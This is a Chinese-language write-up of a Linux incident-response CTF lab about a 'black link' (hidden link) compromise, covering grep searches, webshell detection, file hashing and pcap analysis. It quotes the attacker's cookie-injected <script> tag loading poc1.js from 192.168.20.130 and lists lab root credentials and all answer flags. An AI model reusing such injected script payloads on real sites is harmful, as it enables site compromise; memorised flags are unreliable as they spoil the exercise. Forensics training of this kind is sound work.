玄机：第五章 linux实战-黑链

简介

服务器场景操作系统 Linux

服务器账号密码 root xjty110pora 端口 2222

用 finalshell 连接

1. 找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx}

查找文件中包含“黑链”的内容；

grep -rnw '/var/www/html/' -e '黑链'
  -r：递归搜索。这个选项告诉 grep 在指定目录下的所有子目录中进行搜索
  -n：显示行号。这个选项会在匹配的行前面显示行号，方便定位
  -w：匹配整个单词。这个选项告诉 grep 只匹配整个单词（即匹配边界）。在这里，黑链 被视为一个完整的单词，只有当它作为一个独立的单词出现时才会被匹配
  -e '黑链'：指定要搜索的字符串。在这个例子中，我们要搜索的是包含 黑链 字符串的所有文件

flag{header.php}

2.webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/}

下载“var/www/html”目录到本机桌面，使用D盾进行查杀

一个一个分析，最后在文件“404.php”里面发现了webshell

flag{/var/www/html/usr/themes/default/404.php}

3. 黑客注入黑链文件的 md5 md5sum file flag{md5}

第二题可得

找到这个文件打开之后发现：这段代码通过插入一个隐藏的 iframe 并利用 iframe 内部的表单来向网站模板文件注入恶意 PHP 代码，然后自动保存。这是一种典型的黑链注入手法，目的是在受感染的网站中嵌入恶意代码，从而控制服务器或窃取数据。通过分析代码的功能和意图，可以确定其恶意性质。

在“poc1.js”当前目录，鼠标右键“在终端中打开”或者在“html”路径栏，直接cmd回车即可打开

certutil -hashfile .\poc1.js MD5

flag{10c18029294fdec7b6ddab76d9367c14}

或者在靶机上直接输入命令（注意同样进入到文件当前目录）

md5sum poc1.js

4. 攻击入口是哪里？url请求路径，最后面加/ flag{/xxxx.xxx/xxxx/x/}

下载“output.pcap”到本机桌面，用 wireshark 打开

查找数据包带有关键字符串“poc1.js”，发现有一个反弹的“poc1.js“

http contains "poc1.js"

右键追踪http

这个HTTP请求中包含了一个名为poc1.js的文件，这个文件是通过注入到Cookie中的JavaScript代码引入的

Cookie注入的代码进行 URL解码得到

这段Cookie中包含了一段恶意的JavaScript代码注入：<script src="http://192.168.20.130/poc1.js"></script>

poc1.js文件

        通过这个请求，浏览器会加载并执行http://192.168.20.130/poc1.js文件中的代码。

Referer头

        Referer头指向了http://192.168.20.130/index.php/archives/1/，表明这是来源页面。

        Referer头通常包含了用户访问的上一个页面地址，这是一个指向包含恶意代码的页面的明确指示。

恶意代码的注入
       Cookie中注入的JavaScript代码通过<script src="http://192.168.20.130/poc1.js"></script>将poc1.js文件引入到http://192.168.20.130/index.php/archives/1/页面。
       这意味着每次访问/index.php/archives/1/页面时，都会加载并执行poc1.js。

URL路径
       通过Referer头和请求路径，我们可以确定poc1.js文件是从/index.php/archives/1/页面加载的。
       这表明该页面是恶意代码注入的入口和载体。

请求和响应中包含的信息表明http://192.168.20.130/index.php/archives/1/页面是黑链攻击的入口，通过Cookie注入的JavaScript代码引入了poc1.js文件，从而执行了恶意操作。这个URL是反弹的“poc1.js”的原因在于其作为恶意代码的载体和入口。

flag{/index.php/archives/1/}

flag

flag{header.php}
flag{/var/www/html/usr/themes/default/404.php}
flag{10c18029294fdec7b6ddab76d9367c14}
flag{/index.php/archives/1/}